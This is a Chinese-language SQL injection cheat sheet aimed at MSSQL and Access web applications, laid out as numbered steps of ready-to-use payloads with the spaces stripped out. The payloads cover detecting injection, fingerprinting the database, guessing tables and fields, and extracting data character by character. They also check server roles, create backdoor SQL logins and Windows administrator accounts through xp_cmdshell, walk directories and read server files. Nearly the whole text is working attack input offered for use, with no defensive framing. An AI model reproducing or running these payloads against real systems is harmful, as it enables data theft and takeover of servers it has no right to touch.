1.判斷是否有註入
;and1=1
;and1=2
2.初步判斷是否是mssql
;anduser>0
3.注入參數是字符
'and[查詢條件]and''='
4.搜索時沒過濾參數的
'and[查詢條件]and'%25'='
5.判斷數據庫系統
;and(selectcount(*)fromsysobjects)>0mssql
;and(selectcount(*)frommsysobjects)>0access
6.猜數據庫
;and(SelectCount(*)from[數據庫名])>0
7.猜字段
;and(SelectCount(字段名)from數據庫名)>0
8.猜字段中記錄長度
;and(selecttop1len(字段名)from數據庫名)>0
9.(1)猜字段的ascii值(access)
;and(selecttop1asc(mid(字段名,1,1))from數據庫名)>0
(2)猜字段的ascii值(mssql)
;and(selecttop1unicode(substring(字段名,1,1))from數據庫名)>0
10.測試權限結構(mssql)
;and1=(SELECTIS_SRVROLEMEMBER('sysadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('serveradmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('setupadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('securityadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('diskadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('bulkadmin'));--
;and1=(SELECTIS_MEMBER('db_owner'));--
11.添加mssql和系統的帳戶
;execmaster.dbo.sp_addloginusername;--
;execmaster.dbo.sp_passwordnull,username,password;--
;execmaster.dbo.sp_addsrvrolemembersysadminusername;--
;execmaster.dbo.xp_cmdshell'netuserusernamepassword/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--
;execmaster.dbo.xp_cmdshell'netuserusernamepassword/add';--
;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsusername/add';--
12.(1)遍歷目錄
;createtabledirs(pathsvarchar(100),idint)
;insertdirsexecmaster.dbo.xp_dirtree'c:/'
;and(selecttop1pathsfromdirs)>0
;and(selecttop1pathsfromdirswherepathsnotin('上步得到的paths'))>)
(2)遍歷目錄
;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--
;inserttempexecmaster.dbo.xp_availablemedia;--獲得當前所有驅動器
;insertintotemp(id)execmaster.dbo.xp_subdirs'c:/';--獲得子目錄列表
;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:/';--獲得所有子目錄的目錄樹結構
;insertintotemp(id)execmaster.dbo.xp_cmdshell'typec:/web/index.asp';--查看文件的內容